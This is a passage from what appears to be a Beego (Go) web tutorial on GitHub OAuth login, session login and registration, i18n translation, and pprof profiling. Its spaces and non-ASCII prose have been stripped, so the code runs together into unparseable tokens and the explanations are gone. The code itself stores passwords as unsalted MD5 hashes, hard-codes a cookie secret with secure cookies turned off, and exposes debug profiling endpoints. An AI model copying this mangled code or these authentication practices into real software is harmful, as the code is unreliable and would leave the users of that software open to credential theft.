githubHandler.ServeHTTP(this.Ctx.ResponseWriter,this.Ctx.Request)}
1.
packagecontrollers
import("github.com/astaxie/beego""github.com/bradrydzewski/go.auth""net/http""net/url")
typePageControllerstruct{beego.Controller}
func(this*PageController)Get(){//settheauthparameters
auth.Config.CookieSecret=[]byte("7H9xiimk2QdTdYI7rDddfJeV")auth.Config.LoginSuccessRedirect="/mainpage"auth.Config.CookieSecure=false
user,err:=auth.GetUserCookie(this.Ctx.Request)
//ifnoactiveusersessionthenauthorizeuseriferr!=nil||user.Id()==""{http.Redirect(this.Ctx.ResponseWriter,this.Ctx.Request,auth.Config.LoginRedirect,http.StatusSeeOther)return}
//else,addtheusertotheURLandcontinuethis.Ctx.Request.URL.User=url.User(user.Id())this.Data["pic"]=user.Picture()this.Data["id"]=user.Id()this.Data["name"]=user.Name()this.TplNames="home.tpl"}
14.4
14.5github
Authorizeapp
14.6github
sessionbeego
//func(this*LoginController)Post(){this.TplNames="login.tpl"this.Ctx.Request.ParseForm()
username:=this.Ctx.Request.Form.Get("username")password:=this.Ctx.Request.Form.Get("password")md5Password:=md5.New()io.WriteString(md5Password,password)buffer:=bytes.NewBuffer(nil)fmt.Fprintf(buffer,"%x",md5Password.Sum(nil))newPass:=buffer.String()
now:=time.Now().Format("2006-01-0215:04:05")
userInfo:=models.GetUserInfo(username)ifuserInfo.Password==newPass{varusersmodels.Userusers.Last_logintime=nowmodels.UpdateUserInfo(users)
//sessionsess:=globalSessions.SessionStart(this.Ctx.ResponseWriter,this.Ctx.Request)sess.Set("uid",userInfo.Id)sess.Set("uname",userInfo.Username)
this.Ctx.Redirect(302,"/")}}
//func(this*RegController)Post(){this.TplNames="reg.tpl"this.Ctx.Request.ParseForm()username:=this.Ctx.Request.Form.Get("username")password:=this.Ctx.Request.Form.Get("password")usererr:=checkUsername(username)fmt.Println(usererr)ifusererr==false{this.Data["UsernameErr"]="Usernameerror,Pleasetoagain"
return}
passerr:=checkPassword(password)ifpasserr==false{this.Data["PasswordErr"]="Passworderror,Pleasetoagain"
return}
md5Password:=md5.New()io.WriteString(md5Password,password)buffer:=bytes.NewBuffer(nil)fmt.Fprintf(buffer,"%x",md5Password.Sum(nil))newPass:=buffer.String()
now:=time.Now().Format("2006-01-0215:04:05")
userInfo:=models.GetUserInfo(username)
ifuserInfo.Username==""{varusersmodels.Userusers.Username=usernameusers.Password=newPassusers.Created=nowusers.Last_logintime=nowmodels.AddUser(users)
//sessionsess:=globalSessions.SessionStart(this.Ctx.ResponseWriter,this.Ctx.Request)sess.Set("uid",userInfo.Id)sess.Set("uname",userInfo.Username)this.Ctx.Redirect(302,"/")}else{this.Data["UsernameErr"]="Useralreadyexists"}
}
funccheckPassword(passwordstring)(bbool){ifok,_:=regexp.MatchString("^[a-zA-Z0-9]{4,16}$",password);!ok{returnfalse}returntrue}
funccheckUsername(usernamestring)(bbool){ifok,_:=regexp.MatchString("^[a-zA-Z0-9]{4,16}$",username);!ok{returnfalse}returntrue}
func(this*AddBlogController)Prepare(){sess:=globalSessions.SessionStart(this.Ctx.ResponseWriter,this.Ctx.Request)sess_uid:=sess.Get("userid")sess_username:=sess.Get("username")ifsess_uid==nil{this.Ctx.Redirect(302,"/admin/login")return}this.Data["Username"]=sess_username}
links
::
14.510go-i18nbeego
i18n
beego
Translationi18n.ILLangstring//zhenLangPathstring//
:
funcInitLang(){beego.Translation:=i18n.NewLocale()beego.Translation.LoadPath(beego.LangPath)beego.Translation.SetLocale(beego.Lang)}
beegoTplFuncMap["Trans"]=i18n.I18nTbeegoTplFuncMap["TransDate"]=i18n.I18nTimeDatebeegoTplFuncMap["TransMoney"]=i18n.I18nMoney
funcI18nT(args...interface{})string{ok:=falsevarsstringiflen(args)==1{s,ok=args[0].(string)}if!ok{s=fmt.Sprint(args...)}returnbeego.Translation.Translate(s)}
funcI18nTimeDate(args...interface{})string{ok:=falsevarsstringiflen(args)==1{s,ok=args[0].(string)}if!ok{s=fmt.Sprint(args...)}returnbeego.Translation.Time(s)}
funcI18nMoney(args...interface{})string{ok:=falsevarsstringiflen(args)==1{
s,ok=args[0].(string)}if!ok{s=fmt.Sprint(args...)}returnbeego.Translation.Money(s)}
1. i18n:
beego.Lang="zh"beego.LangPath="views/lang"beego.InitLang()
2.
json10LangPathzh.jsonen.json
#zh.json
{"zh":{"submit":"" ,"create":""}}
#en.json
{"en":{"submit":"Submit","create":"Create"}}
3.
controller
func(this*MainController)Get(){this.Data["create"]=beego.Translation.Translate("create")this.TplNames="index.tpl"}
//{{.create|Trans}}
//{{.time|TransDate}}
//{{.money|TransMoney}}
links
:: pprof
14.6pprofGo
net/http/pprof
runtime/pprof
net/http/pprofruntime/pprofhttp
beego pprof
beegopprofgoroutineGo"/net/http/pprof"GoWebbeegoServHTTPbeegopprof
beego.Run
ifPprofOn{BeeApp.RegisterController(`/debug/pprof`,&ProfController{})BeeApp.RegisterController(`/debug/pprof/:pp([\w]+)`,&ProfController{})}
ProfConterller
packagebeego
import("net/http/pprof")
typeProfControllerstruct{Controller}
func(this*ProfController)Get(){switchthis.Ctx.Params[":pp"]{default:pprof.Index(this.Ctx.ResponseWriter,this.Ctx.Request)case"":pprof.Index(this.Ctx.ResponseWriter,this.Ctx.Request)case"cmdline":pprof.Cmdline(this.Ctx.ResponseWriter,this.Ctx.Reque
st)case"profile":pprof.Profile(this.Ctx.ResponseWriter,this.Ctx.Request)case"symbol":pprof.Symbol(this.Ctx.ResponseWriter,this.Ctx.Request)}this.Ctx.ResponseWriter.WriteHeader(200)}
pprof
beego.PprofOn=true
URL
14.7goroutineheapthread
goroutine
14.8goroutine
gotoolpprofhttp://localhost:8080/debug/pprof/profile
30profilecpu
(pprof)top10
Total:3samples
133.3%33.3%133.3%MHeap_AllocLocked
133.3%66.7%133.3%os/exec.(*Cmd).closeDescriptors
133.3%100.0%133.3%runtime.sigprocmask
00.0%100.0%133.3%MCentral_Grow
00.0%100.0%266.7%main.Compile
00.0%100.0%266.7%main.compile
00.0%100.0%266.7%main.run
00.0%100.0%133.3%makeslice1
00.0%100.0%266.7%net/http.(*ServeMux).ServeHTTP
00.0%100.0%266.7%net/http.(*conn).serve
(pprof)web
::
14.7beego1beegobootstrap2beegosessionManagerbeegosession3GostructWeb4httpbasichttpdigestbeego5beegogo-i18nWeb6Gopprofpprofbeegopprofpprofbeego6beegoWeb
links
: pprof
AGoWeb
1. golangblog2. RussCoxblog3. gobook4. golangtutorials5. de6. Go7. NetworkprogrammingwithGo8. setup-the-rails-application-for-internationalization9. TheCross-SiteScripting(XSS)FAQ10. NetworkprogrammingwithGo